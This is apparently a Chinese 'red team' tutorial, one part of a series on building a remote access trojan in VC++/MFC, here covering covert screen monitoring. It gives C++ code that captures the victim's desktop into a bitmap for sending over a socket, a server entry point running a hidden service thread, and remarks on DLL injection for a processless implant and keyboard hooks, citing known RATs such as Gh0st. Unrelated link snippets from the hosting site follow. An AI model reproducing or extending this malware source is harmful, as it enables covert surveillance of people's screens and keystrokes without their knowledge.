红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • [24]屏幕监控-(1)屏幕查看与控制技术的讲解
    • 图像压缩算法
    • 图像数据转换
    • 其他
  • [25]---屏幕监控(2)查看屏幕的实现
  • 7.1 屏幕抓图显示
  • 7.7 完善主控端

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

[24]屏幕监控-(1)屏幕查看与控制技术的讲解

屏幕监控的流程

服务端
while(true)
{获取图像数据();//发送图像数据();
}客户端
while()
{//接受图像数据();显示图像();
}

查看屏幕的 define 宏信号

1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧

基本流程:获取图像 — 发送图像 — 显示图像

实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像

图像压缩算法

char *p;   // 字符数组 
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};

RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
在这里插入图片描述

RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据

RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}

LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况

图像数据转换

zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb

http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子

CapScreenJpeg JPEG算法

其他

隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描

隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++

LZW:
Vipshell
守候远控

压缩库
PCShare

综合使用 + 汇编实现
1:150 倍

[25]—屏幕监控(2)查看屏幕的实现

在这里插入图片描述
多线程 + 阻塞socket
1000-2000台
完成端口
60000 自由管理

DLL形式 注入-无进程

屏幕传输的压缩解压方案

键盘钩子

try优化

定制化远控
界面
命令
传输结构体

void CScreen::GetScreen()
{CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象CRect rc;CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度CDC memDC; //定义一个内存画布memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布CBitmap bmp;bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图memDC.SelectObject(&bmp); //选中位图对象BITMAP bitmap;bmp.GetBitmap(&bitmap);panelsize = 0; //记录调色板大小//需要增加颜色判断算法//bitmap.bmBitsPixel = 4; //更改颜色if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图{panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));}HeadTotal = (int)panelsize + sizeof(BITMAPINFO);pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize);pBMPINFO->bmiHeader.biBitCount      = bitmap.bmBitsPixel;//4pBMPINFO->bmiHeader.biClrImportant  = 0;pBMPINFO->bmiHeader.biCompression   = 0;pBMPINFO->bmiHeader.biHeight        = height;pBMPINFO->bmiHeader.biPlanes        = bitmap.bmPlanes;pBMPINFO->bmiHeader.biSize          = sizeof(BITMAPINFO);pBMPINFO->bmiHeader.biSizeImage     = bitmap.bmWidthBytes*bitmap.bmHeight;pBMPINFO->bmiHeader.biWidth         = width;pBMPINFO->bmiHeader.biXPelsPerMeter = 0;pBMPINFO->bmiHeader.biYPelsPerMeter = 0;memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY);TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;pData = new BYTE[TotalSize];if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0){printf("Return 0\n");//delete pData;pData = NULL;return;}
}#include "Common.h"
#include "MySocket.h"class CScreen
{
private:void GetScreen();void SendBmpHeaderinfo();void SendBmpData();BYTE* pData;BITMAPINFO *pBMPINFO;CMySocket m_sock;UINT TotalSize;int HeadTotal;double panelsize;
public:HANDLE m_h;void CleanData();void SendScreenData();CScreen(void);~CScreen(void);bool flag;SOCKET m_sock_screen;
};
server.cpp  安装服务的操作	int _tmain(int argc, _TCHAR* argv[])
{/*SERVICE_TABLE_ENTRY DispatchTable[] ={//服务程序的名称和入口点{(wchar_t*)ServiceName,ServiceMain}, //服务名//SERVICE_TABLE_ENTRY结构必须以“NULL”结束{NULL,NULL}};//连接服务控制管理器,开始控制调度程序线程StartServiceCtrlDispatcherW(DispatchTable);InstallService();*/::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));while(true){Sleep(10000);}return 0;
}

创建线程 点击主机Runservice

//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )

有命令行能够显示

7.1 屏幕抓图显示

7.7 完善主控端

· 跟踪鼠标
· 色位调整

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/154989.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【已解决】VSCode运行C#控制台乱码显示

问题描述 如上图所示&#xff0c;最近在学习C#突然发现我在运行Hello World的时候出现这样的乱码情况。 分析原因 主要是因为VS Code 是UTF-8的编码格式&#xff0c;而我们的PC是Unicode编码&#xff0c;所以我们需要对其进行一个统一即可解决问题。那么知道这个的问题那就开…

Redis队列Stream

1 缘起 项目中处理文件的场景&#xff1a; 将文件处理请求放入队列&#xff0c; 一方面&#xff0c;缓解服务器文件处理压力&#xff1b; 另一方面&#xff0c;可以根据文件大小拆分到不同的队列&#xff0c;提高文件处理效率。 这是Java开发组Leader佳汇提出的文件处理方案&a…

创建并启动华为HarmonyOS本地与远程模拟器及远程真机

1.打开设备管理器 2.选择要添加的手机设备,然后点击安装 3.正在下载华为手机模拟器 4.下载完成 5.创建新模拟器 下载系统镜像 点击下一步,创建模拟器 创建成功 启动模拟器 华为模拟器启动成功 6.登陆华为账号并使用远程模拟器 7.使用远程真机

成绩不公开,如何发成绩

亲爱的老师们&#xff0c;有没有在学期中疯狂整理成绩单&#xff0c;又担心成绩私发引起混乱的烦恼&#xff1f;今天就让我们一起探索如何利用各种工具和代码&#xff0c;实现学生自主查询成绩的便捷方式吧&#xff01; 成绩查询系统简介 成绩查询系统是一款方便学生和老师查询…

如果一定要在C++和JAVA中选择,是C++还是java?

如果一定要在C和JAVA中选择&#xff0c;是C还是java&#xff1f; 计算机专业的同学对这个问题有疑惑的&#xff0c;- 定要看一下这个回答! 上来直接给出最中肯的建议: 如果你是刚刚步入大学的大一时间非常充裕的同学&#xff0c;猪学长强烈建议先学C/C.因为C 非常 最近很多…

unity性能优化__Statistic状态分析

在Unity的Game视图右上角&#xff0c;我们会看到有Stats选项&#xff0c;点击会出现这样的信息 我使用的Unity版本是2019.4.16 一、Audio&#xff0c;顾名思义是声音信息 1&#xff1a;Level:-74.8dB 声音的相对强度或音量。通常&#xff0c;音量级别以分贝&#xff08;dB&a…

15、SpringCloud -- 延迟消息、异步下单失败处理方案

目录 延迟消息需求理解:思路:代码:发送延迟消息消费延迟消息:1、订单支付状态:2、回补真实库存:3、回补预库存:4、修改本地标识:测试:清除MQ数据:期望结果:实际结果:问题:异步下单失败需求1:代码:发送消息:消费消息:测试:需求2:延迟消息 需求理解: 用户成…

Yusi技术资讯博客wordpress模板

Yusi技术资讯博客wordpress模板&#xff0c;从第一感觉看上去&#xff0c;两栏结构直接将网站的内容展现&#xff0c;以红白灰色调搭配&#xff0c;一种低调协调的风格&#xff0c;喜欢该wordpress主题的朋友可以下载试试。 下载地址&#xff1a;https://bbs.csdn.net/topics/…

IntelliJ IDEA 安装mybaits当前运行sql日志插件在线与离线安装方法

先安装好idear 去网上找找这个安装包下载下来&#xff0c;注意版本要完全一致&#xff01; 比如&#xff1a; https://www.onlinedown.net/soft/1233409.htm手动安装离线插件方法举例 提前下载好插件的安装包 可以去网上下载这个安装包 搜索离线安装包的资源&#xff0c;包…

每日汇评:通胀数据公布前,欧元复苏失去动力

欧元/美元周一上涨后回落至1.0600&#xff1b; 市场参与者将密切关注欧元区通胀数据&#xff1b; 如果价格跌破1.0580-1.0580区间&#xff0c;卖方可能会采取行动&#xff1b; EUR/USD积聚了多头动能&#xff0c;周一实现了一周以来最高的日内收盘价&#xff0c;超过1.0600。然…

[GKCTF 2021]easycms 禅知cms

一道类似于渗透的题目 记录一下 首先扫描获取 登入界面 admin/12345登入 来到了后台 然后我们开始测试有无漏洞点 1.文件下载 设计 自定义 导出 然后进行抓包 解密后面的内容 发现是绝对路径了 所以这里我们要获取 flag 就/flag即可 L2ZsYWc /admin.php?mui&fdownlo…

云原生-AWS EC2使用、安全性及国内厂商对比

目录 什么是EC2启动一个EC2实例连接一个实例控制台ssh Security groups规则默认安全组与自定义安全组 安全性操作系统安全密钥泄漏部署应用安全元数据造成SSRF漏洞出现时敏感信息泄漏网络设置错误 厂商对比参考 本文通过实操&#xff0c;介绍了EC2的基本使用&#xff0c;并在功…